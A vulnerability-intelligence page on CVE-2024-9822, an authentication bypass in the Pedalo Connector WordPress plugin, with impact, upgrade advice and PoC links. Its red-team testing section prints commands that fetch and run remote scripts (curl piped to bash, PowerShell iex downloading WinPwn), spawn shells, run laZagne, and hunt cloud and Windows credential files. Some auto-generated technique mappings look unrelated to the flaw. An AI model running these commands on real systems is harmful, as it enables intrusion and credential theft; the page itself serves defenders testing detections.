CVE-2024-9822
Overview
This vulnerability is an authentication bypass caused by insufficient access control in the 'login_admin_user' function of the Pedalo Connector WordPress plugin. The root cause lies in the failure to properly restrict unauthenticated calls to this function, allowing unauthorized access to privileged user sessions. The affected component is the authentication mechanism within the Pedalo Connector plugin up to version 2.0.5.
Vulnerability Description
The Pedalo Connector plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 2.0.5. This is due to insufficient restriction on the 'login_admin_user' function. This makes it possible for unauthenticated attackers to log to the first user, who is usually the administrator, or if it does not exist, then to the first administrator.
Impact
An unauthenticated attacker can exploit this vulnerability to gain administrative access to the WordPress site by logging in as the first user or administrator. This enables full control over the site, including data modification, plugin installation, and user management. The attack requires no authentication, user interaction, or elevated privileges (CVSS vector AV:N/AC:L/PR:N/UI:N), making it highly exploitable and critical for site security and data integrity.
Solution
Users of the Pedalo Connector plugin should upgrade to a version later than 2.0.5 where this authentication bypass is fixed. Detailed patch information and remediation steps are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/6ab0d342-bfa7-4760-b839-37c3354414ca. No official workaround is documented; immediate upgrade is recommended to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the Pedalo Connector plugin for WordPress stems from an authentication bypass flaw in the 'login_admin_user' function. This issue arises due to inadequate restrictions placed on the function, allowing unauthenticated users to gain access to the first user account within the WordPress installation. Typically, this account is the administrator, which poses a significant risk as it grants attackers the ability to perform administrative actions without proper authentication. The flaw exists in versions up to and including 2.0.5, making it imperative for users of the plugin to assess their current version and take appropriate action.
Attack vectors for this vulnerability are straightforward and can be exploited with minimal technical expertise. An attacker could leverage automated scripts or manual requests to invoke the vulnerable function, bypassing the authentication mechanisms that are supposed to protect sensitive user accounts. Once access is gained to the administrator account, the attacker can manipulate site settings, install malicious plugins, or exfiltrate sensitive data. Exploitation scenarios could include targeted attacks on high-profile websites, where gaining administrative access could lead to significant reputational damage, data breaches, or defacement of the site.
The real-world impact of this vulnerability is profound, especially for businesses that rely on WordPress for their online presence. An attacker gaining administrative access could lead to unauthorized changes to website content, theft of user data, or even complete site takeover. The potential for financial loss is considerable, as businesses may face costs associated with incident response, legal liabilities, and damage to their brand reputation. Furthermore, if customer data is compromised, organizations may also face regulatory fines and loss of customer trust, which can have long-lasting effects on their operations.
To detect and mitigate this vulnerability, organizations should first ensure that they are using the latest version of the Pedalo Connector plugin, as updates often include patches for known vulnerabilities. Regular vulnerability assessments and penetration testing can help identify weaknesses in the system before they can be exploited. Additionally, implementing robust access controls and monitoring user activity can provide an extra layer of security. Organizations should also consider employing web application firewalls (WAFs) to filter and monitor HTTP traffic, which can help block malicious requests attempting to exploit this vulnerability.
In conclusion, the authentication bypass vulnerability in the Pedalo Connector plugin for WordPress presents a critical risk to users of the affected versions. The simplicity of exploitation combined with the potential for severe consequences underscores the importance of prompt action. By maintaining updated software, conducting regular security assessments, and employing comprehensive security measures, organizations can significantly reduce their risk exposure and protect their digital assets from unauthorized access and manipulation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Pedalo | Pedalo Connector | All |
cpe:2.3:a:pedalo:pedalo_connector:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-9822
Pedalo Connector <= 2.0.5 - Authentication Bypass to Administrator
|
RandomRobbieBF | 1 | 0 | 2024-10-12 | View |
|
PoC
|
- | 0 | 0 | - | View |
Threat Feed
2 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
40%
|
Low | Very High | |
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-9822 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/6ab0d342-bfa7-4760-b839-37c3354414ca?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/pedalo-connector/tags/2.0.5/public/class-pedalo_connector-public.php#L118 |